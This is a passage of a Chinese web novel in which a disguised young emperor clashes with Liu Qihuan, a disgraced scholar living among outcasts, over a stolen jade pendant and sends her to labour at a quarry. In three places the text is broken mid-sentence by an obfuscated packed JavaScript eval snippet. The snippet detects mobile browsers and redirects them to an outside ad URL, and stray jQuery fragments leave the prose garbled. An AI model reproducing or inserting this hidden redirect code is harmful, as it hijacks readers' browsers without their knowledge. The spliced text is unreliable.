他试图搜寻记忆,却引得额角神经微微地跳疼,动作一时迟滞。 柳齐欢见他先是来势汹汹,又莫名其妙停住,还盯着自己仔细打量,心中更加防备,护着瑟瑟发抖的齐鸿,浑身绷紧。 从方才一看清傅常懿身上类似府军卫的打扮,她就猜测十有八九又是找茬来的。 这群尸位素餐的看守侍卫,不乏仗着自己豪门贵族出身的纨绔子弟,惯会拿毫无反抗之力的贱民欺辱取乐,不找点鸡毛蒜皮的事情责打他们一顿都不算完。 毕竟困在这地方的人与外面不同,外面最贫苦的百姓也是良民,这里全是贱籍,而且世袭难改,基本永无脱籍的机会。因此无论有罪无罪,贱籍者身份都低微到尘埃里,根本不被当成是人。 柳齐欢的声音冷若寒冰:“怎么,还想再欺负孩子?” 她目光中流露出明显的厌恶,傅常懿敏锐地捕捉到这一点,当即把那点细微的熟悉感抛却脑后,怒道:“你就是同伙吧?” “什么?” “装傻?”他料到对方会是这个反应,自认为看穿了贱民拙劣的伎俩,冷笑,“少跟爷来这套,你俩准是串通好了偷我的东西,被抓到现行就合谋动手!信不信本公子先找人来打断你俩的腿!” 他一边威胁,一边环顾周遭,预备抓几个看守侍卫来教训教训他们。 结果,这周围不知道是什么鬼地方,居然连个鬼影都没有。 他没办法,于是抬起双臂,摆出对战防御的架势,防备这人再“偷袭”自己。 柳齐欢听他一通话说完,神情不变:“鸿儿,他说的是怎么回事?” 齐鸿咬住嘴唇,内心踌躇。他本意是想着偷这最后一次好换份工作,反正又不认识这个纨绔公子哥,谁曾想会被对方抓到。 刚刚也是吓狠了,光顾着求救,忘了要把此事瞒着齐欢大哥,现在…… 他咬了咬牙,攥紧了手里的玉,没吱声。 柳齐欢见其这般反应,微沉下了脸:“你是不是又拿了别人的东西?” 这话一出,傅常懿立马明白了,这小贼恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189728|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕不是第一回偷窃。 他刚想强调不是“拿”,是“偷”是“抢”时,就见齐鸿缩着脑袋摇头,两手往身后躲。 “我……我不是……” 傅常懿立刻指着他那只藏起的右胳膊:“撒谎!还说没偷,就在那只手里有我的玉佩!” 柳齐欢瞟他一眼,蹲下身子与齐鸿平视,原本轻而低的中性嗓音严肃了几分:“告诉我,有没有?” 齐鸿摇头也不是,点头也不是,瑟缩着抿紧了嘴巴。 她面色依然温和,但语气不容拒绝:“我不是告诉过你,不能偷东西吗?把东西还给人家,马上道歉。” 齐鸿还是低着头不吭声,一副倔脾气的样子。他不能交出去,若是没了这件“投名状”,又不知道该去哪儿找愿意雇佣他的人。 “好。你若是不归还,便走吧,以后别再来找我。” 柳齐欢说完这句话,毫不留情地起身就准备回茅棚。 齐鸿见她这般,当即红了眼圈。 他扑上去抱住她的腿,大哭:“齐欢哥哥别!你别不要我!我再也不敢了!我还!我还!” 他在这世上没有一个亲人,就只有面前人愿意好好相待。他想象不到,如果连齐欢哥哥都不要自己了,是不是就要回去过那比野狗也不如的日子。 齐鸿后悔做错事,哭得伤心,一口一句“哥哥”地求饶。 落入柳齐欢的耳中,引得她不禁想起自己从前也像这般,做错事的时候就哭哭啼啼地缠着哥哥认错。 当初救齐鸿,也是看他年纪与自己失去柳家庇护时一般年岁,才动了几分恻隐之心。 她低头看他哭得肩膀一耸一耸的,无奈地止住了脚步,转过身来朝他伸出手。 齐鸿抽抽噎噎地交出偷来的玉佩:“对不起。齐欢哥哥,我真的,真的再也不偷了,我是……只能去赌坊工作,想着赚点钱你就不,不用那么……辛苦,不得已才,才偷的……” 他边哭边说,句子都连不成话。 柳齐欢叹道:“齐鸿,别哭了。以后做任何事记得先跟我商量,赌坊的工作咱们不去,你也不用急着赚钱,就先跟着我打下手,好不好?” 傅常懿抱胸站在一旁,冷脸看着俩人,怀疑是事情败露后的苦肉计,内心颇为不屑。 太傅曾说过,北司圜里的贱民大都是犯过罪的出身,坑蒙拐骗,无恶不作。谁知道这俩人是玩得什么把戏?更何况这小鬼还是个贼! 柳齐欢安抚完齐鸿后,走到傅常懿的面前,朝上伸出手。 “抱歉,玉佩还你。” 方圆形状寸余大小的翡翠玉石躺于她的掌心,精雕细琢的鸳鸯同心并蒂莲的纹样。色满水足,冰清玉润,宛如江南烟雨色,一眼就知是贵重之物。 她虽然衣着破旧,裤子上还有三四处交叠的布丁,但看得出来是个爱干净的人,挽起的袖口处搓洗得发白。 手掌很薄,有劳作的茧子和几道发白的细小旧伤,关节处积下的冻疮未愈,指形修长纤细,倒有几分像女子的手…… “你要是不要?” 傅常懿正观察着,冷不丁被对方的话语打断。 5. 旧伤痕 他回过神来,见对方一脸冷漠,虽是道歉,却毫无卑微之色,心下便感不虞。 于是故意清了清嗓子,摆出嫌弃的表情,伸出两根手指捏住玉佩的金线绳拎过来。 吹了吹完全不存在的灰尘后,才小心地收进怀里。 对于他的此番行为,柳齐欢并不感到意外,毕竟纨绔子弟都差不多的德行,拉着齐鸿便欲离开。 “站住!” 傅常懿见她转身就走,立马叫住:”别以为把玉佩还了就算完,偷东西还打人,本公子要报官!你们两个贱民就等着挨板子吧!” 他可不是吃亏的主,这俩贱民一个偷东西,一个敢犯上,不好好给他们点颜色瞧瞧,以后北司圜还不反了天了! 正巧,看守率领的一队侍卫急匆匆从前头赶过来。 原是那两个换班的贱民吃完了饭,瞧见这边起争执,跑去通风报信。 “大人!就在前头,那姓齐的又在闹事!” “我又不瞎!别挡路!” 为首的狗腿子看守,远远看见傅常懿那身服饰,分别给跟前晃悠的两个家伙一人一脚,不耐烦地用佩刀驱赶开。 俩人本以为告密能捞着点好处,没成想反挨了打,灰溜溜地退到后面去,不敢近前,只躲在一旁打算看柳齐欢的好戏。 看守笑得跟哈巴狗似的拥上来:“常公子,原来您在这儿啊?小的们没在正大门接应到您,可急死了,到处找啊……” 他还没说完,便也挨了对方一记踹:“我都受伤了,你才来?朝廷养你们干什么吃的!” 看守忙不迭地赔笑请罪。瞧傅常懿的衣服沾了些许脏污,腹部一团灰白的脚印,又见刚没算完账的小子也在旁,脱口道: “怎么又是你!” 柳齐欢眉头微跳,心道冤家路窄。 “刚刚放你一马,这会儿又搁这儿挑事?敢得罪常公子我看你是不想活了!来人给我按住他,看我这回不好好收拾你!” 说着,看守也不管三七二十一,抽出佩刀招呼手下上去拿人。 但是他这样做,傅常懿倒是有点不乐意了。 他还没发话呢,这群人急什么? 傅常懿抬手制止:“我说,你也不问问发生了什么事,就动手?” 看守道:“常公子您是有所不知,咱们这贱民所可是相当难管!尤其是这个叫齐欢的,更不是什么好东西!贱民里的头号刺头!平日里就忤逆作乱惯了,天天惹事生非!所以,不用问我也知道,绝对是他的错!” 傅常懿听对方如此说,觉得有点意思。 小小的贱民所竟会有此等横行霸道的人物?莫不是个地头蛇,可看着瘦瘦弱弱的也不像。 不过,这个叫齐欢的臭小子打人也倒也有点劲,自己现在肚子还有点不舒服呢,说不定是个扮猪吃老虎的。 他不动声色,预备看看守怎么处理此事:“竟有这等事,难怪他敢串通贼人偷东西,还行凶伤我。” 柳齐欢盯着他,这厮摆明夸大其词泼脏水! 看守一听,张嘴骂道:“混蛋,你偷东西不成还敢动手?” “我没有。”她否认。 “什么没有,天天跟野狗子混在一块的,能是什么好鸟?”侍卫们奉承着看守,在旁帮腔。 “不准污蔑我哥!”齐鸿气得跺脚,心中恼恨因为自己连累了旁边人的名声。 柳齐欢担心他冲动,手按住其肩膀,示意摇头,接着又看向面前几人。 不能把齐鸿推出去,也不想过多纠缠,于是拿出诚恳的态度,再次表示歉意。 “方才因为一时情急,不小心冲撞了公子,确实是鄙人过错,还望高抬贵手。” 傅常懿看出她的意图,哼道:“偷东西在先,动手伤人在后。按大梁律法,该当何罪?” 看守横眉怒目:“屡次盗窃罪,论律当绞刑!伤人罪视情节而定,轻伤杖刑八十,重伤死刑!” 齐鸿吓得一抖,刚止住的眼泪又掉下来。 柳齐欢蹙眉,梁律严苛,她就是怕对方从此下手。 傅常懿见状,视线落到齐鸿身上,唇角勾起一抹恶趣味的笑:“也不知道这小贼的脖子好不好绞断,倒不如用抽筋扒皮之刑慢慢凌迟……” “你敢!” 柳齐欢不是不知道纨绔子弟的残忍手段,上次死了一个杨家小儿子,她断不能让齐鸿也遭受此罪! “本公子有何不敢?”他嗤笑对方的天真,权势压死人的道理都不懂,身为贱民骨头还敢这么硬! 傅常懿轻飘飘地作了个手势,侍卫们立刻自觉地上前包围二人。 齐鸿清楚这些家伙根本不分青红皂白,贱民若是落到他们手里就是个死!因此一见侍卫上手便急了,张嘴就咬,下了死劲儿。 抓他的侍卫“哎呦”一声,疼得发了狂,立起胳膊肘,狠狠用关节锤击其后背,逼其松口。 见此情形,柳齐欢冲上去用力撞开那侍卫,护住齐鸿。 然而还没等逃跑,一道寒光闪至面前,她慌忙刹住步子。 森寒的冷意逼近,锋利的长刀横在她的脖颈面前。 距离喉咙几乎只有一根头发丝的距离,刀面散发着浓烈的沾过人血的腥膻气息。 柳齐欢的额头渗出冷汗,怒瞪着持刀的看守。 对方毫不留情地踢向她的膝盖窝,她吃痛跪倒,双手被侍卫反铰,齐鸿也被按住。 “放开我!” “老实点!” 傅常懿见总算制服住两人,迈步走到跟前。 他狭长的丹凤眼微微弯起来,神情似笑非笑:“还想跑?在我的地盘,你觉得你俩能逃到哪儿去?” 柳齐欢咬牙忍着关节扭转的疼痛,对着他和看守骂道:“仗势欺人!” “还敢嘴硬!你小子不是爱帮贱民申冤么,不是之前敢写诉状告我们么?看我不割了你的舌头,让你再也说不了话!” 看守叫嚣着,高举起亮晃晃的刀作势就要劈下来。 傅常懿见对方欲下死手,厉声喝止:“本公子还没发话,轮得到你插手?” 他本是想耍这俩贱民玩玩,锉一锉硬骨头的锐气,又不是真准备见血。 看守闻言顿住,眼珠子乱转,却没放下刀:“那,那公子您是何意思?” “家伙先收了。” 傅常懿让对方收起兵器,正思考该用什么法子折腾这俩人时,却瞥见柳齐欢因为奋力挣扎而露出来的胳膊。 营养不良的消瘦,一层微薄的肌肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189729|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧贴着骨头。 两条手臂的皮肤很白,所以上面的鞭痕和旧伤就有些狰狞。 鞭痕是常见的伤,侍卫们平日里时有抽打贱民的行为,可那旧伤却不寻常。 他一眼认出是烙铁烫出的疤,叠了结痂的鞭痕,显得触目惊心。 烙刑是三司对付诏狱罪犯的刑罚,北司圜怎敢私自动用? 莫不是这臭小子曾被关押过诏狱?可诏狱十死无生,就算出来也是半残,根本活不了……那又怎么会成为贱民? 傅常懿心中正疑,不防旁边的看守见其沉默,以为是拿不定主意,绿豆大的眼珠子一转,再度计上心头。 他抽出了随身用来鞭笞贱民用的马鞭。 一记响亮的破空鞭声,入耳像鞭炮炸开。 柳齐欢的脸上顿时多了道皮肉崩裂的血痕,差点打到眼睛。 “叫你冲撞贵人!看我不打死你!” 看守一看就是打习惯了贱民,下手又快又狠。 等傅常懿反应过来阻止时,柳齐欢的面部与手臂已经多了两道新伤。 他抬手用力抓住作恶的胳膊,眉头拧紧:“你这打法,不怕打死人么?” 看守有自己的私心。方才下刀不成,又想着趁此机会把柳齐欢打死,就不用担心对方再敢替贱民诉状申冤,而且还能顺便拍傅常懿的马屁,简直一举两得。 “常公子,几鞭子哪里会死人啊?这些贱民都是下贱骨头,不打不听话!就算是打死,那也便打死了!他没有亲属,打死了也没人管。今日您就放心地交给我,小人替您好好出出气!不费脏了您的手!” 说着,便要再挥鞭子。 傅常懿看向跪地的柳齐欢,对方也冷眼直视他。 目光相撞,瞳色如墨。 她一声不吭,眼神中满是倔强不屈。 ——那种没来由的熟悉感再次涌现心头。 “我说了,停手!” 看守被他吼的一愣,见其脸上愠色,不像是开玩笑的意思,悻悻然收了鞭子,暗道:这公子哥的马屁真难拍,总反复无常,难答复得很。 刚刚不是还一副气势汹汹要惩治此人的样子吗,这会子又改主意了? 当然,他只是心里纳闷并没有多嘴问出来,拍马屁要是拍到马蹄子上,那不是闹玩的。 这位娇生惯养的世家公子可是他的摇钱树财神爷爷,让干啥就干啥呗! 他朝侍卫们使了个眼色,接着小心问道:“常公子可是有何新的示下?” 傅常懿瞥他,决定还是先问清楚:“北司圜何时可以私用烙刑了?” 见对方问起这个,看守瞅着地上的人,拉着他走到一边,压低声音道:“常公子,不知您问这个干什么?” “哼,据本公子所知,这烙刑可是施加在下了诏狱的死刑犯身上,何故这家伙身上会有?不是你们私用,难不成他是从诏狱里出来的?” 他现有疑窦,有了几分想要调查的想法。 看守摇头否认:“常公子,我们可不敢私用酷刑啊,这刑伤是他被丢进北司圜之前便有的。” 他示意对方细说,看守便神秘兮兮地附耳一句。 待听清说的什么后,傅常懿看向柳齐欢的眼神,变得十分复杂。 6. 前探花 看守贼眉鼠眼的一张脸上掩不住的幸灾乐祸之意,窃声道:“这小子差点成了庚午年间的三甲探花,可惜忤逆犯上得罪了大行皇帝,如今就落得这个下场了。” “平日里他就仗着自己是探花郎的身份,眼高于顶,清高得很,把我们都不放在眼里。刚来贱民所的时候,咱们可是好吃好喝地捧着这位探花郎,谁知他不识好歹,遇事不帮我们,非偏帮那一起子刁民。今儿个找茬,明儿个翻供,后儿个还敢跑去府衙那边告状,真真是狼心狗肺最难缠的东西!” 那看守好似逮住了机会,竹筒倒豆子似的跟傅常懿一一道来。 齐鸿耳朵尖听到了,大声反驳:“放屁!明明是你们想贿赂府衙,齐欢哥哥不帮你们,才……呜呜呜!” 他还没说完,就被侍卫一手捂住嘴。 “野狗子,你个胳膊肘往外拐的下流种子!要不是我们大人有大量,上次好心放过了你,就偷盗行窃的罪名都够你死上一百回的!” 齐鸿气得脸通红,这群家伙真是把黑的都能说成白的! “你且别跟本公子埋怨别的,把他得罪老……先帝的事,先讲清楚。”傅常懿让看守继续说。 庚午年的探花,那是父皇在位时期的科考。虽然老东西短命驾崩得早,没两年就把帝位传给了自己,但是他并不领情,况且…… 他脸色沉沉,手中捏着那块鸳鸯同心并蒂莲的玉佩,眸底闪过一道阴郁。 “其实我们这些底下人也不是非常清楚朝廷上的事,只是听刑部押送他过来的人说过两句。” “这家伙当初参加了庚午年的科举考试,本是勾了三甲,结果此人胆敢在殿试上言语顶撞,说些大逆不道之语,故而先帝大发雷霆,直接下了诏狱。后来不知怎么的又下令给放了,但贬为了贱籍,于是便被押送到了北司圜来。” “他来时带着此伤?” 看守觑着傅常懿的表情道:“是。按理说受过酷刑的贱民,来到这地方挨饿受冻基本很快就染病死了,谁想他倒是个命硬的。押解的人送来时也嘱咐可以暂时先免了劳作的义务。我们心思毕竟是探花郎,也不敢怠慢,便留他一处屋子好好地将养着,结果竟养出个白眼狼来……” “你说的好听,怕是惦记着有利用价值,又担心万一上头改了意思,死了人不好交差吧?”傅常懿听出了其话里的意思,嘲讽对方,“跟本公子交代事情还想玩揽功推过那一套?” 看守尴尬地赔笑闭嘴,他白眼一翻,哼出一声冷笑。 北司圜的守卫都是些什么东西,从上到下都是何种德行,其实他心里清清楚楚。 按理身为一国之君,他和该管一管这堆藏污纳垢的蛀虫,但他并不想,反而乐见其成。 打听面前贱民的事也不是出于恻隐之心,而是想了解清楚此人与诏狱有何关系,又与父皇曾有何龃龉。 如今听完,傅常懿大概推测出了一二,神色晦暗不明地盯着跪地之人。 视线相交,柳齐欢不卑不亢:“你要是有分辨能力,就清楚他的话绝不属实。” “那你跟我说说,真相是什么?”傅常懿抱着手臂,“你如何惹怒的先帝?为什么下诏狱?又为何成了贱民?” 柳齐欢目光冷凝,抿紧了嘴唇,不发一言。 她早就发过誓,绝不再将出身与过去告诉任何人。曾经的自己早就死在了诏狱,活下来的只是复仇的贱民“齐欢”。 见她默不作声,傅常懿像是想到了什么,突然露出一抹笑意。 其五官不似寻常男子那般粗钝,反而极其精致,眉眼间天然带着股俊逸清朗的意气。就算是在对人冷嘲热讽时,也看不出明显的恶意。 此刻笑起来,反倒平添了几分风流不羁。 他好整以暇地蹲下来,与柳齐欢平视:“为这点事杀你,也没什么趣,本公子倒有一个折磨你的好主意,要不要听听?” “呸!” 柳齐欢却直接朝他脸上唾了一口,作为回答。 傅常懿眼疾手快地撩起衣袖,才没被对方吐一脸口水。 “你这小子,还真是不知天高地厚。” “少废话!”柳齐欢瞧他笑得邪气,估计藏了什么蔫坏的心思,清楚恐怕逃不过这一劫,所以尽量把对方的注意力引到自己身上,避免伤及齐鸿。 傅常懿注视着她倔强的眼睛:“真是个硬骨头,那就看看你等下还会不会这么有骨气。” 他甩了甩衣袖站起来,勾勾手唤过来看守:“你们这儿惩罚贱民,都有什么好法子?说给本公子听听,要最辛苦最难受的那种。” 看守道:“一般就是用沾了盐水的鞭子抽打,再在伤口撒烈酒……呃,咳,不过论最难以忍受的应该是刷恭桶,最辛苦的就是扛运麻袋和采石场!” 他重提鞭子训诫的办法时,接到对方撇过来的不耐眼神,连忙改口,挑了几个北司圜的脏活累活说。 “刷恭桶啊……”傅常懿拉着长腔,注意柳齐欢的反应,后者却是面无表情,仿佛没有听见似的。 ……这家伙不嫌臭,朕还嫌恶心。 他考虑了一下道:“我看还是采石场最合适这硬骨头,好好地压一压才对,你说是不是?” “是是是!”看守那会儿差点马屁拍马蹄子上,马上抓住机会奉承,“就是今儿个天色晚了,采石场的工都下了,齐公子您看……” “不着急。等明日,我亲自来监工。” 傅常懿说完,不再看地下跪着的二人,扬长而去。 看守朝自己心腹的侍卫使了个眼色,连忙跟屁虫似的追上去伺候。 侍卫示意其他人放开押制,威胁道:“暂时先放你俩回去,明日卯时到南边的采石场,不得有误!若是敢迟一刻,下回可就是鞭子了!” 他们走后,齐鸿低头看柳齐欢手臂上的鞭痕,愧疚道:“对不起,鸿儿又害了你……” 她揉揉他的脑袋:“没事的,一点皮肉伤。” “可是明天……”齐鸿惴惴不安。 她淡淡一笑,安抚道:“他们没有说惩罚你,你就先不要过去。采石场的活我能应付得来,放心吧。” …… 傅常懿出了北司圜,门外早已备好了骏马。 不等后面看守还在啰嗦,他一跃蹬上马背,驾紧手中的缰绳,纵马回宫。 马蹄声笃笃有力,如一支离弦的箭在官道上奔驰。 沿途百姓纷纷躲避,议论不知是哪儿来的豪门纨绔,竟然敢当街纵马。 行不过半个时辰后,紫禁城的大门逼近,守城士兵远远看到那匹黑鬃黑尾的汗血宝马,连忙撕扯着嗓子大喊“开门”。 巍峨的城门缓缓离开,黑马直冲进去,带起一阵凌冽的疾风。 及到了内宫,傅常懿才翻身下马,意气风发地回到养心殿。 孙德升早指挥着小太监们跟来服侍,虽然忙忙碌碌却又不失井井有条,已经有了十足的准备经验。 在褪下府卫军的那套装扮后,又伺候着少帝洗沐更衣。 他侍立在旁,趁着面前人换衣,将这两日大臣们启奏的折子,捡了两件紧要的讲了。 接着又提起昨日刑部尚书在养心殿等了一个时辰,有事求见。 傅常懿身披五爪团龙纹缎明黄色寝衣,懒洋洋地倚靠在养心殿的御塌上,打了个哈欠。 “不见。” 孙德升眨巴两下眼睛,恳切道:“陛下方才御马归来,这合宫上下都知道,刑部尚书早就搁外头候着了呢。” “合宫上下除了朕,不就剩下一堆侍卫太监宫女,他们谁给卫昶通的气?” 傅常懿直呼三朝老臣的名讳,语气也不客气。孙德升咽了口唾沫:“这个……” “哼,朕今日心情好,不罚你的错。以后再要这般,你这秉笔太监也不用当了,就打发去净恭桶去如何?” “奴才叩谢隆恩!”孙德升跪下。 身为多年侍奉在侧的心腹怎会不知这话的意思,圣上肯多说一句都是原谅了他。若是真生气,那才是一句话不说就给拖下去了呢! “行了,起来吧。”傅常懿捞起矮脚案几上的新鲜葡萄,丢了一颗进嘴里,“叫他进来。” 刑部尚书卫昶入了殿内,就见少年皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189730|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝一副昏君散漫相,内心微微慨叹,跪下恭恭敬敬行了礼。 他将带领刑部和大理寺调查帝京近日频发命案之事一一禀告,傅常懿的表情透着心不在焉,只是敷衍地点了两次头。 “朕知道了。爱卿还有上奏吗?” “陛下,这命案关系帝京百姓安危,涉及面广,如何彻查,烦请您示下。” 傅常懿道:“你是刑部尚书,你看着办。” “这……”卫昶与孙德升对视一眼,后者眼观鼻,鼻观心,只当看不见前者使眼色。 “那承蒙陛下如此信任,微臣定当尽心竭力。还有一事……” “说。” “按理,此事不应该微臣来奏,只是近日文官纷纷谏言,指责说丞相大人干政太多……” 卫昶顿了顿,见傅常懿脸色如常,便道:“只是微臣历经三朝,又受先帝临崩之命,是为陛下忠言以谏,纵使肝脑涂地……” “行了,朕知道你要说什么。左丞年纪也大了,他不过是替朕处理些政务。你要是有空呢,也可以帮朕处理批阅。别天天念那些,真是听得耳朵都起茧子了。” 虽然知道眼前的少帝还是一如过去作为世子时那般昏庸荒唐,但是每次见到他这般,卫昶还是忍不住在内心唉声叹气,恨铁不成钢。 难道果真如民间所说,大梁气数将尽,有倾颓之相么…… 御前的太监从外头进来奉上汤药,他见此,忙关心道:“陛下还在犯头痛吗?” 傅常懿两口喝下,被苦得直皱眉头,连忙吃了颗蜜饯含着。 孙德升解释道:“尚书大人,太医请脉说余毒未清,陛下偶尔还是会犯头痛。” 卫昶忙跪道:“可恨上次那投毒的宫人太狡猾,竟吞毒死了,都是臣等办事不力!望圣上赎罪!” 傅常懿见对方磕头,抬手让他起来:“与你有什么干系,锦衣卫发现他的时候连尸体都僵了,你难道还能叫个死人说话?” “陛下放心,微臣一定会继续查下去,必将那行刺的幕后主使给揪出来!还请陛下多多休息,保重龙体,切勿费神。” 见他这般关切自己,傅常懿微微一笑:“爱卿,听说敬启快回来了?” “是,多谢陛下挂念犬子。待他抵京,微臣定叫他先入宫向您请安!” 议叙了几句后,卫昶便告退了。 傅常懿从半躺着的姿势坐起来,神情似笑非笑: “你看看这些朝臣,竟然还要朕多休息呢,是嫌朕休息的还不够么?” 孙德升忙道:“陛下,卫大人也是出于好意。” “朕何尝不知。他这人啊,就是古板固执,三句话不离先帝,总拿老东西来压朕。” 孙德升听着,大气没敢出,普天之下恐怕也就只有面前的真龙天子敢称呼先帝为“老东西”了。 傅常懿靠回拐枕上,手不经意地触碰到了枕边放着的那块玉佩。 鸳鸯同心并蒂莲,本是象征忠贞不渝,至情至爱。可夫妻离了心,信物又有何意义? 卫昶刚才提起先帝,也勾起了他一些不好的回忆,脑袋微微的胀痛。 他闭上眼揉着太阳穴,孙德升见了,忧道:“陛下,要不要传太医?” 傅常懿摇头:“左不过又开些安神汤药,刚刚喝得朕口里发苦,别传了。” 他手指摩挲着翡翠玉石凹凸的表面,想要平息内心的焦躁,脑海中忽然缓慢浮现出来另一张面孔。 那个叫齐欢的臭小子,敢得罪父皇,还能活着从诏狱出来,倒是有点意思。 既然老东西不待见,那他偏要对着干。 傅常懿放下揉按穴位的手,睁开眼睛:“孙德升。” “在。” “替朕查一查,庚午年间科举第三甲是谁。还有关于他的身家来历去向,所有一切,都给朕查清楚。” “是。”孙德升不解,“陛下怎么突然想起查这个?” “让你查就查。查完放着,等朕回来再看。” “……陛下可是又要出宫?” “嗯,明日替朕备好去北司圜的车轿。” 7. 受惩罚 一大清早,天还没完全亮,柳齐欢匆匆吃了几口自己熬的粗糠粥,便来到了北司圜的南采石场。 依傍着帝京南山的此处,砂砾遍地,碎石嶙峋。敲敲打打的撞击声此起彼伏,十分刺耳。 现场基本都是健硕的汉子,一个个浑身晒得黝黑的贱民正光着膀子,在尘土飞扬的环境中,手里拿着铁凿铁锄等工具凿石运土。 “一群懒鬼!快走!” 柳齐欢虽然按照时辰到了场,可还是同其他贱民一样,上来就挨了侍卫好几鞭子,身上登时多了几道血痕。 “你!” 那侍卫指着她,又指向右手边的一片巨石林:“你负责这块,清下来的都运到那边顺序垒好。今天必须弄完,否则有你的好看!” 这块区域的石质坚硬且沉重,对于健壮男子来说,全卸下来都相当费力费时间。全部做完,恐怕连午饭晚饭也不得吃,更不用说她这种手无缚鸡之力的弱女子,花费的时间会更长。 这分明就是在给自己出难题。 柳齐欢大概猜到是那姓常的或者看守授意的,故意为难自己。 她没有说什么,默默地捡起来地上的工具,跨坐到一块巨石上开凿。 昨日阴寒,今日天气倒回暖几分。 临近晌午,明媚的日头高悬,采石场的众人辛苦忙碌了半日,几乎都出了一身汗,肚子也饿起来。 而说要来监工的傅常懿,直到此时才迟迟出现。 引人注目的三乘八抬暖轿抬着他,穿过北司圜横贯南北的那条主道,招摇过市。 他今儿换上了自己的常服,一袭霜月素白暗金纹圆领箭袖长袍,腰束月白色祥云纹流金封边锦带。外披着件海龙皮青莲纹鹤氅,没有系带,只是随意地搭在身上。 乌黑的长发用嵌玉银冠半束起,迤逦披下来。 他左手撑着额头,微微斜了身子靠着锦绣软枕的轿背,十足地富贵纨绔模样。 到了采石场,傅常懿懒懒扫视一圈埋头苦干的众多贱民,预备好好欣赏柳齐欢累得辛苦凄惨的样子,最好能来跪着跟自己求饶。 然而,想象中的景象并没有出现。 只见角落里站着个瘦小的身影,正笑呵呵地端着只粗陶碗,跟一陌生的壮汉说话。 “牛大叔,谢谢您帮我把石头运过去,真是惭愧。” 壮汉又舀了一碗水给柳齐欢,豪爽地大笑:“这有什么,我们庄户人别的不多,就力气最多!搬两块石头算什么?倒是你一介书生,读书人哪能干这么重的活。也不知是哪个不长眼的,给你派到这里来!” 柳齐欢平日里帮过不少贱民,与他们的关系自然相处地不错。 见牛大叔为自己打抱不平,她只是淡淡一笑,沉默地喝水,没有过多解释。 却不知身后那位坐在轿子上的人已经近前,听到了这话。 “哼,确实不长眼!连贱民偷懒都看不见,都是吃干饭的么?” 看守听出傅常懿话语里的不满,当即跳脚:“你们这些蠢货瞎了眼了!才几时就吃上喝上了,还不快把这几个贱民押去干活!” 刚想偷懒歇会儿的巡逻侍卫们一听,连忙蹦起来,挥舞着鞭子,把柳齐欢等人各自赶回去凿石。 就这空挡的功夫,看守已经着人备好了铺了皮毛的竹编软椅,放在一处平坦稳当的方形巨石上,充当临时的监工座台。 “常公子,还请您移尊下轿,在此歇息。地方上不得台面,实在杂乱,请多担待。” 傅常懿“嗯”了一声,慢悠悠地离轿坐下,正好居于柳齐欢工作位置的上首。 他垂下眼睛,就能看见对方的头顶。 她正一声不吭地低着头,左手握铁錾,右手持铁锤,一下一下地凿着坚硬的石头。 今儿对方换了身补丁更多的衣服,方便行动的半旧白麻色短打,窄袖挽起来,新伤旧伤交叠的半截小臂肌肉绷得紧紧的。 许是贱民们身上或多或少都带着伤,所以她也并不怎么在意露出来。 他瞧着对方身上满是灰白尘土,额头的汗跟淌水似的顺着脸侧流下来,心里畅快多了。 惩罚就是要让受罚者受苦才行,不然怎么能叫惩罚呢? 柳齐欢忙活了半天,终于凿下来五六块尺寸长的条形石头。后头那壮汉瞧见了,便推着斗车过来,准备帮忙搬到斗筐里运走。 傅常懿见状,弯腰从脚边捡起一块铜钱大小的石子,丢出去,砸到柳齐欢后背。 她回过头来,就见对方面露嘲讽:“你受罚,还叫人帮忙?要不让他们陪你一起受罚如何?” 柳齐欢注视着他,眼神冷冽,傅常懿瞧她又是这副硬骨头的表情,居高临下道: “不服气么?” 她视线垂下来,对身旁人道:“牛大叔,您不用帮我了,我自己可以。” “这怎么行,你身板这么弱,别受伤了!”壮汉看一眼傅常懿,浸淫社会多年的经验告诉他,这人绝对非富即贵不好惹,有些担忧地小声问道,“老弟啊,你怎么得罪这么个人?” 柳齐欢轻轻摇头,不希望对方被自己连累:“大叔您别管了,我自己能行的,放心吧。” 牛大叔见她执拗,便只好回去干自己的活。 傅常懿得意地笑了:“算你识时务。” 她瞅了对方一眼,不再理睬,转身又回去凿石。 “你该搬石头了。” “我多凿几块再运,要你管?” 柳齐欢不耐烦地瞪他,这厮真是烦死了,她根本没办法平心静气。 傅常懿道:“臭小子别耍滑头,我可在这儿盯着你!” 他早做好了监工的准备,现下面前摆了几盘看守送来的糕点,一边吃,一边翘着二郎腿听旁边的侍卫讲些北司圜的趣事解闷。 听了一会儿没啥意思后,他道:“行了,本公子也听累了,你先盯会子功夫。” 